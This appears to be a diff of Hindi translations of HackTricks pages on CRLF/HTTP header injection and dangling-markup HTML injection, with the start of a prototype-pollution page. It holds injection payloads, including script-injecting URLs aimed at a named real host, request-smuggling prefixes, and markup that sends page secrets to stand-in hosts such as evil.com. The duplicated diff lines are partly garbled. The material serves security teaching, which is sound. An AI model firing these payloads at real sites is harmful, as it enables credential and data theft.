हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को `%0d%0a` से शुरू होने वाले एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### विवरण
HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशिष्ट वर्ण अनुक्रम का उपयोग करके, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)।
HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है, एक विशिष्ट वर्ण अनुक्रम का उपयोग करते हुए, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)।
#### HTTP Response Splitting के माध्यम से XSS
1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: `X-Custom-Header: UserInput`
2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है
3. एक हमलावर एक URL तैयार करता है जिसमें विशेष रूप से तैयार 'user_input' होता है: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक ऐसा पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल हो, उसके बाद दुर्भावनापूर्ण सामग्री हो।
3. एक हमलावर एक विशेष रूप से तैयार 'user_input' के साथ एक URL तैयार करता है: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- इस URL में, `%0d%0a%0d%0a` CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।
4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।
@ -70,19 +68,21 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP Header Injection
HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) जैसे सुरक्षा तंत्रों को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है।
#### Exploiting CORS via HTTP Header Injection
#### HTTP Header Injection के माध्यम से CORS का शोषण
एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंच संभव हो जाती है।
एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंचने की संभना होती है।
#### SSRF and HTTP Request Injection via CRLF
#### CRLF के माध्यम से SSRF और HTTP Request Injection
CRLF इंजेक्शन का उपयोग एक पूरी तरह से नया HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के `SoapClient` क्लास में है, विशेष रूप से `user_agent` पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे इस शोषण को प्रदर्शित करने वाला एक PHP उदाहरण है:
CRLF इंजेक्शन का उपयोग एक पूरी तरह से न HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के `SoapClient` क्लास में है, विशेष रूप से `user_agent` पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण है जो इस शोषण को प्रदर्शित करता है:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -109,25 +109,25 @@ $client->__soapCall("test", []);
```
### Header Injection to Request Smuggling
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत की जांच करें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत देखें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन को खुला रखे** प्रारंभिक अनुरोध का उत्तर देने के बाद:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर [HTTP request smuggling](http-request-smuggling/), एक तकनीक जिसमें सर्वर द्वारा इंजेक्शन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।
इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर [HTTP request smuggling](http-request-smuggling/) से संबंधित होता है, एक तकनीक जहां सर्वर द्वारा पोस्ट-इजेक्शन के दौरान जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।
**शोषण:**
1. **दुष्ट प्रीफिक्स इजेक्शन**: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है:
1. **दुष्ट प्रीफिक्स इजेक्शन**: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के बेकार के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:
2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के कचरे के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcache इजेक्शन
### Memcache इजेक्शन
Memcache एक **की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए:
@ -137,23 +137,23 @@ Memcache एक **की-वैल्यू स्टोर है जो एक
**पूर्ण जानकारी के लिए पढ़ें**[ **मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए** **memcache** सर्वर पर **अनुरोध**रने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड** को **इजेक्ट** कर सकता है।
यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए उपयोग कर रहा है** ताकि **memcache** सर्वर पर **अनुरोध**िए जा सकें, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड्स** को **इजेक्ट** कर सकता है।
उदाहरण के लिए, मूल खोजी गई कमजोरी में, कैश कुंजियों का उपयोग एक उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड** को **इंजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देने के लिए **विज़िटर्स के विवरण** (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर सर्वरों पर भेजते थे:
उदाहरण के लिए, मूल खोजे गए कमजोरियों में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड्स को इजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देते थे ताकि **पीड़ितों के विवरण** (उपयोगकर्ता नाम और पासवर्ड शामिल) को हमलावर सर्वरों पर भेजा जा सके:
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थ:
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थ:
<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### CRLF / HTTP हेडर इजेक्शन को वेब अनुप्रयोगों में कैसे रोकें
### CRLF / HTTP हेडर इजेक्शन को वेब अनुप्रयोगों में कैसे रोकें
वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:
वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:
1. **प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें:** सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।
2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इजेक्शन की संभावना को रोकती है।
3. **प्रोग्रामिंग भाषा को अपडेट करें:** अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इजेक्शन की अनुमति नहीं देता है।
2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इजेक्शन की संभावना को रोकती है।
3. **प्रोग्रामिंग भाषा को अपडेट करें:** अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इजेक्शन की अनुमति नहीं देता है।
### CHEATSHEET
@ -179,22 +179,20 @@ Memcache एक **की-वैल्यू स्टोर है जो एक
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## स्वचालित उपकरण
## Automatic Tools
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## ब्रूट-फोर्स पहचान सूची
## Brute-Force Detection List
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
## संदर्भ
## References
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Resume
यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** को **inject** कर सकते हैं।\
यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हं।
यह तकनीक **HTML injection मिलने पर** उपयोगकर्ता से जानकारी निकालने के लिए उपयोग की जा सकती है। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\
यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हं।
यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए किया जा सकता है।
यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी निकालने के लिए बायपास करने के लिए किया जा सकता है।
## Main Applications
### Stealing clear text secrets
यदि आप `<img src='http://evil.com/log.cgi?` inject करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको injected `img` टैग और कोड के अंदर अगले उद्धरण के बीच का सभी कोड भेज देगा। यदि किसी तरह उस टुकड़े में एक गुप्त जानकारी है, तो आप इसे चुरा लेंगे (आप एक डबल उद्धरण का उपयोग करके भी ही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
यदि आप `<img src='http://evil.com/log.cgi?` इंजेक्ट करते हैं जब पृष्ठ लोड होता है, तो पीड़ित आपको इंजेक्ट किए गए `img` टैग और कोड के भीतर अगले उद्धरण के बीच का सभी कोड भेज देगा। यदि उस भाग में किसी तरह एक गुप्त जानकारी स्थित है, तो आप इसे चुरा लेंगे (आप डबल उद्धरण का उपयोग करके भी ही कर सकते हैं, देखें कि कौन सा उपयोग करना अधिक दिलचस्प हो सकता है)।
यदि `img` टैग निषिद्ध है (उदाहरण के लिए CSP के कारण) तो आप `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` का भी उपयोग कर सकते हैं।
```html
@ -49,7 +49,7 @@ steal me'<b>test</b>
### फॉर्म चुराना 3
बटन "formaction" विशेषता के साथ उस URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी:
बटन URL को बदल सकता है जहाँ फॉर्म की जानकारी भेजी जाएगी "formaction" विशेषता के साथ:
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
@ -65,7 +65,7 @@ I get consumed!
```html
<input type='hidden' name='review_body' value="
```
और यह इनपुट फ़ील्ड अपने डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को शामिल करेगा। यह हमला "_**स्पष्ट पाठ रहस्यों की चोरी**_" को "_**फार्म2 की चोरी**_" के साथ मिलाता है।
और यह इनपुट फ़ील्ड HTML में इसके डबल कोट के बीच और अगले डबल कोट के बीच सभी सामग्री को समाहित करेगा। यह हमला "_**स्पष्ट पाठ रहस्यों की चोरी**_" को "_**फार्म2 की चोरी**_" के साथ मिलाता है।
आप एक फ़ॉर्म और एक `<option>` टैग इंजेक्ट करके वही कर सकते हैं। सभी डेटा जब तक एक बंद `</option>` नहीं मिल जाता, भेजा जाएगा:
```html
@ -90,7 +90,7 @@ I get consumed!
`<noscript></noscript>` एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करके:
एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करना:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
@ -101,8 +101,8 @@ I get consumed!
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक** करने के लिए कहेंगे जो उसे **पुनर्निर्देशित** करेगा उस **पेलोड** की ओर जो आपके द्वारा नियंत्रित है। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** होगी अगली एकल उद्धरण तक।\
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगा। इसलिए, चूंकि आप उस पृष्ठ को **नियंत्रित** करते हैं जहाँ शिकार लिंक पर क्लिक करके पहुँच रहा है, आप उस **`window.name`** तक पहुँच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
ध्यान दें कि आप **शिकार** से **एक लिंक पर क्लिक करने** के लिए कहेंगे जो उसे **पेलोड** की ओर **रीडायरेक्ट** करेगा जिसे आप नियंत्रित करते हैं। यह भी ध्यान दें कि **`base`** टैग के अंदर **`target`** विशेषता में **HTML सामग्री** होगी जब तक अगला एकल उद्धरण नहीं आता।\
इससे यह होगा कि यदि लिंक पर क्लिक किया जाता है तो **`window.name`** का **मान** सभी **HTML सामग्री** होगा। इसलिए, चूंकि आप उस पृष्ठ को **नियंत्रित** करते हैं जिस पर शिकार लिंक पर क्लिक करके पहुंच रहा है, आप उस **`window.name`** तक पहुंच सकते हैं और उस डेटा को **एक्सफिल्ट्रेट** कर सकते हैं:
```html
<script>
if(window.name) {
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
```
### Misleading script workflow 1 - HTML namespace attack
HTML के अंदर एक नया टैग डालें जिसमें एक आईडी हो जो अगले टैग को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि जानकारी किसके साथ साझा की जाएगी:
HTML के अंदर एक नया टैग डालें जिसमें एक आईडी हो जो अगले टैग को ओवरराइट करेगा और एक ऐसा मान होगा जो स्क्रिप्ट के प्रवाह को प्रभावित करेगा। इस उदाहरण में, आप यह चुन रहे हैं कि किसके साथ जानकारी साझा की जाएगी:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -122,7 +122,7 @@ document.getElementById('share_with').value; ... }
```
### भ्रामक स्क्रिप्ट कार्यप्रवाह 2 - स्क्रिप्ट नामस्थान हमला
जावास्क्रिप्ट नामस्थान के अंदर HTML टैग डालकर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
HTML टैग्स डालकर जावास्क्रिप्ट नामस्थान के अंदर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के प्रवाह को प्रभावित करेगा:
```html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
@ -187,17 +187,17 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
### New \<portal HTML tag
आप \<portal टैग की exploitable vulnerabilities पर एक बहुत **दिलचस्प शोध** [यहाँ](https://research.securitum.com/security-analysis-of-portal-element/) पा सकते हैं।\
इस लेखन के समय, आपको `chrome://flags/#enable-portals` में Chrome पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
इस लेखन के समय, आपको Chrome में `chrome://flags/#enable-portals` पर portal टैग सक्षम करना होगा या यह काम नहीं करेगा।
```html
<portal src='https://attacker-server?
```
### HTML Leaks
HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकता है। इन्हें यहाँ चेक करें: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकता है। उन्हें यहाँ देखें: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
यह **dangling markup और XS-Leaks** के बीच का एक **मिश्रण** है। एक तरफ, यह भेद्यता **HTML** (लेकिन JS नहीं) को **same origin** के एक पृष्ठ में **inject** करने की अनुमति देती है, जिसे हम हमले का लक्ष्य बनाएंगे। दूसरी तरफ, हम उस पृष्ठ पर **सीधे हमला** नहीं करेंगे जहाँ हम HTML inject कर सकते हैं, बल्कि **दूसरे पृष्ठ** पर।
यह **dangling markup और XS-Leaks** के बीच का एक **मिश्रण** है। एक तरफ, यह भेद्यता **HTML** (लेकिन JS नहीं) को **same origin** के एक पृष्ठ में **inject** करने की अनुमति देती है, जिसे हम हमले का लक्ष्य बनाएंगे। दूसरी तरफ, हम उस पृष्ठ पर **सीधे हमला** नहीं करेंगे जहाँ हम HTML inject कर सकते हैं, बल्कि **दूसरे पृष्ठ** पर करेंगे
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search **cross-origin जानकारी** को **side channel attacks** का दुरुपयोग करके **exfiltrate** करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक अलग तकनीक है, हालाँकि, कुछ तकनीकें HTML टैग्स (JS निष्पादन के साथ और बिना) के समावेश का दुरुपयोग करती हैं, जैसे [**CSS Injection**](../xs-search/#css-injection) या [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search **cross-origin information** को **side channel attacks** का उपयोग करके **exfiltrate** करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक अलग तकनीक है, हालाँकि, कुछ तकनीकें HTML टैग के समावेश का दुरुपयोग करती हैं (JS निष्पादन के साथ और बिना), जैसे [**CSS Injection**](../xs-search/#css-injection) या [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/
@ -213,7 +213,9 @@ XS-Search **cross-origin जानकारी** को **side channel attacks**
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## References

View File

@ -1,4 +1,4 @@
# NodeJS - \_\_proto\_\_ और प्रोटोटाइप प्रदूषण
# NodeJS - \_\_proto\_\_ & prototype Pollution
{{#include ../../../banners/hacktricks-training.md}}
@ -33,7 +33,7 @@ employee1.__proto__
```
### Prototypes in JavaScript
JavaScript रनटाइम पर प्रोटोटाइप विशेषताओं में संशोधन, जोड़ने या हटाने की अनुमति देता है। यह लचीलापन वर्ग कार्यक्षमताओं के गतिशील विस्तार को सक्षम बनाता है।
JavaScript रनटाइम पर प्रोटोटाइप विशेषताओं को संशोधित, जोड़ने या हटाने की अनुमति देता है। यह लचीलापन वर्ग कार्यक्षमताओं के गतिशील विस्तार को सक्षम बनाता है।
`toString` और `valueOf` जैसी फ़ंक्शन को उनके व्यवहार को बदलने के लिए संशोधित किया जा सकता है, जो JavaScript के प्रोटोटाइप सिस्टम की अनुकूलनीय प्रकृति को प्रदर्शित करता है।
@ -41,7 +41,7 @@ JavaScript रनटाइम पर प्रोटोटाइप विशे
प्रोटोटाइप-आधारित प्रोग्रामिंग में, गुण/विधियाँ वस्तुओं द्वारा वर्गों से विरासत में ली जाती हैं। ये वर्ग अन्य वर्ग के एक उदाहरण या एक खाली वस्तु में गुण/विधियाँ जोड़कर बनाए जाते हैं।
